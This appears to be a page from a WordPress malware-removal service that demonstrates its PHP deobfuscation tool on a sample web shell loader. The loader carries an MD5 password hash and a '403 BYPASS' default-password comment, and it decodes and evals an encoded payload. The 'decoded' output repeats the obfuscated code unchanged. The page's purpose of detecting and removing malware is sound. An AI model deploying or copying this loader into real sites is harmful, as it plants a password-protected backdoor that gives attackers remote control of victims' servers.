Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $pw = "bbf94b34eb32268ada57a3be5062fe7d"; /*403 BYPASS MD5 DEFAULT PASSWORD : 403 */ function bypass($shell) { $shell = gzinflate(base64_decode($shell)); for ($i = 0; $i < strlen($shell); $i++) { $shell[$i] = chr(ord($shell[$i]) - 1); } return $shell; } eval(bypass("U1QEAu60lMwCxbTypFxND...



Obfuscated php code

<?php

$pw = "bbf94b34eb32268ada57a3be5062fe7d";
/*403 BYPASS MD5 DEFAULT PASSWORD : 403 */
function bypass($shell)
{
    $shell = gzinflate(base64_decode($shell));
    for ($i = 0; $i < strlen($shell); $i++) {
        $shell[$i] = chr(ord($shell[$i]) - 1);
    }
    return $shell;
}
eval(bypass("U1QEAu60lMwCxbTypFxNDQd7DUV9xfSs3LSEjLTShJSC/NK0/NISTY3M0tLCEmsDg+KkCv2MrNLMsuSykrRiqLx+SkGegamhiXNUoFNISIinm6+vgaebDxAa5CVl5RtkpuUAoX5hZqGGrqKiu5evW0JYiFuCl7+Lb5irW0KgU6inlhbQXuXYfGUbiHM0s/JTcstS0xSpZjPcAgd7AA=="));

Decoded(de-Obfuscated) php code

<?php

$pw = "bbf94b34eb32268ada57a3be5062fe7d";
/*403 BYPASS MD5 DEFAULT PASSWORD : 403 */
function bypass($shell)
{
    $shell = gzinflate(base64_decode($shell));
    for ($i = 0; $i < strlen($shell); $i++) {
        $shell[$i] = chr(ord($shell[$i]) - 1);
    }
    return $shell;
}
eval(bypass("U1QEAu60lMwCxbTypFxNDQd7DUV9xfSs3LSEjLTShJSC/NK0/NISTY3M0tLCEmsDg+KkCv2MrNLMsuSykrRiqLx+SkGegamhiXNUoFNISIinm6+vgaebDxAa5CVl5RtkpuUAoX5hZqGGrqKiu5evW0JYiFuCl7+Lb5irW0KgU6inlhbQXuXYfGUbiHM0s/JTcstS0xSpZjPcAgd7AA=="));

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.